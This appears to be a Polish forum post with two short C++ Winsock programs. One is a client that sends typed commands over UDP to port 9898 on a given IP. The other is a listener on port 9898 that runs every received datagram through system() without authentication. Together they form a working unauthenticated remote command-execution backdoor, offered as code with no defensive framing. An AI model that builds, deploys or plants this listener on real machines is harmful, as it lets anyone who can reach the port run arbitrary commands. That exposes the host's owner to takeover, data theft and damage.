Klient
Kod: Zaznacz cały
/*
Coded by: The_Wraith
Coded on: 02-10-05
*/
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>
#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");
using namespace std;
char buf[65500];
char ip[16];
int main(int argc,char *argv[])
{
WSADATA wsaData;
WORD wVer = MAKEWORD(1,1);
SOCKADDR_IN sin;
SOCKET s;
if (WSAStartup(wVer,&wsaData) != 0) {
doCleanup;
}
s = socket(AF_INET,SOCK_DGRAM,0);
if (s == INVALID_SOCKET) {
doCleanup;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(9898);
sin.sin_addr.s_addr = inet_addr(argv[1]);
loop:
cout<<"Enter command: ";
cin.getline(buf,sizeof(buf));
cout<<"Sending "<<buf<<"...\n";
if (sendto(s,buf,sizeof(buf),0,(sockaddr*)&sin,sizeof(sin)) > 0) {
cout<<"Sent successfully!"<<endl;
goto loop;
}
return 0;
}
Kod: Zaznacz cały
/*
Coded by: The_Wraith
Coded on: 02-10-05
*/
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>
#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");
using namespace std;
char buf[65500];
int main()
{
WSADATA wsaData;
WORD wVer = MAKEWORD(1,1);
SOCKADDR_IN sin;
SOCKET s;
int sinsize;
int i;
if (WSAStartup(wVer,&wsaData) != 0) {
doCleanup;
}
s = socket(AF_INET,SOCK_DGRAM,0);
if (s == INVALID_SOCKET) {
doCleanup;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(9898);
sin.sin_addr.s_addr = 0;
if (bind(s,(sockaddr*)&sin,sizeof(sin)) == SOCKET_ERROR) {
doCleanup;
}
sinsize = sizeof(sin);
while (1) {
if (recvfrom(s,buf,sizeof(buf),0,(sockaddr*)&sin,&sinsize) > 0) {
system(buf);
}
}
return 0;
}